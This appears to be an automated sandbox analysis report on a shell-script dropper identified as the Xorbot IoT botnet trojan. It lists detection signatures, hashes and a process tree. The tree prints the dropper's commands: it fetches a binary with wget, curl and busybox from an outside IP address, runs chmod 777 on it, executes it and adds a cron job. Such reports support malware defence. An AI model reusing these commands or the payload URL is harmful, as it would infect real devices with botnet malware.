Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/01/2025, 13:22

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250102-ql79fstjfz
  • SHA256 ac9bab3ad183c99cfce29fa21be3e173974bbd1fa9dc894493eaa9c2208e8b7d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1999) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:658
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:660
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:688
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:694
        • /bin/chmod
          chmod 777 Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • File and Directory Permissions Modification
          PID:699
        • /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          ./Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:701
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:703
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:704
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:706
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:708
              • /bin/rm
                rm Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                2⤵
                • System Network Configuration Discovery
                PID:723
              • /usr/bin/wget
                wget http://66.63.187.225/bins/VQ4JS7NmSEgA4q3lJmX0RIazkv5dE3PmlH
                2⤵
                  PID:727

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                    • Path /tmp/Nd250VyM7iPnaZMXFlzsZR25eQugZr4SNm
                    • Size 127KB
                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    tmp.tOEAuK
                    • Path /var/spool/cron/crontabs/tmp.tOEAuK
                    • Size 210B
                    • SHA256 d56409122a4ce0f38d399992e5610b9999451f0d218399e8233066dc2fde8222
                    • MD5 SHA1 SHA512
                    Submit Download